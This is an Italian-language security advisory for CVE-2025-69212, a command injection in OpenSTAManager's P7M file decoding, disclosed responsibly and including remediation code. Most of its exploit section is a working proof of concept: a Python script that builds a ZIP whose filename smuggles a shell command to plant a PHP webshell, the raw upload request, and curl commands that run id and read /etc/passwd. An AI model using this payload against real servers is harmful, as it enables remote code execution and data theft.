
CVE-2025-69212 - OpenSTAManager presenta un'Iniezione di Comandi del Sistema Operativo nell'Elaborazione dei File P7M
| Campo | Dettagli |
|---|---|
| ID CVE | CVE-2025-69212 |
| Gravità | CRITICA |
| Avviso di sicurezza | Visualizza l'avviso |
| Scoperto da | Lukasz Rybak |
Una vulnerabilità critica di iniezione di comandi del sistema operativo è presente nella funzionalità di decodifica dei file P7M (XML firmato). Un attaccante autenticato può caricare un file ZIP contenente un file .p7m con un nome file dannoso per eseguire comandi di sistema arbitrari sul server.
File: src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$content = file_get_contents($file);
$output_file = $directory.'/'.basename($file, '.p7m');
try {
if (function_exists('exec')) {
// VULNERABLE - No input sanitization!
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
Il problema:
$file viene passato direttamente a exec() senza sanificazioneplugins/importFE_ZIP/actions.php:126 (quando l'importazione automatica è abilitata)
foreach ($files_xml as $xml) {
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml); // $xml from ZIP!
plugins/importFE/src/FatturaElettronica.php:56 (costruttore)
if (string_ends_with($name, '.p7m')) {
$file = XML::decodeP7M($this->file); // $name from user input!
.p7m, viene chiamata decodeP7M()exec()⚠️ NOTA IMPORTANTE: ZipArchive::extractTo() di PHP separa i nomi file in base al carattere /. Il payload NON deve contenere / nei comandi. Utilizzare cd directory && command invece di percorsi assoluti.
import zipfile
cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip
[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"
save
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"
14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"
48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Risposta (è previsto un errore 500 - l'analisi XML fallisce DOPO l'esecuzione del comando):
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}
Verifica - Webshell creata:
La webshell è accessibile pubblicamente senza autenticazione:
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
public static function decodeP7M($file)
{
// Validate that file path doesn't contain shell metacharacters
if (preg_match('/[;&|`$(){}\[\]<>]/', $file)) {
throw new \Exception('Invalid file path');
}
// Better: use escapeshellarg()
$safe_file = escapeshellarg($file);
$safe_output = escapeshellarg($output_file);
exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}
oppure
// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
// Only allow alphanumeric, dots, dashes, underscores
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
continue; // Skip invalid filenames
}
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml);
}
}
Scoperto da: Łukasz Rybak
Questa CVE è stata divulgata in modo responsabile seguendo le pratiche di divulgazione coordinata delle vulnerabilità. Le informazioni fornite qui hanno esclusivamente scopo educativo e difensivo.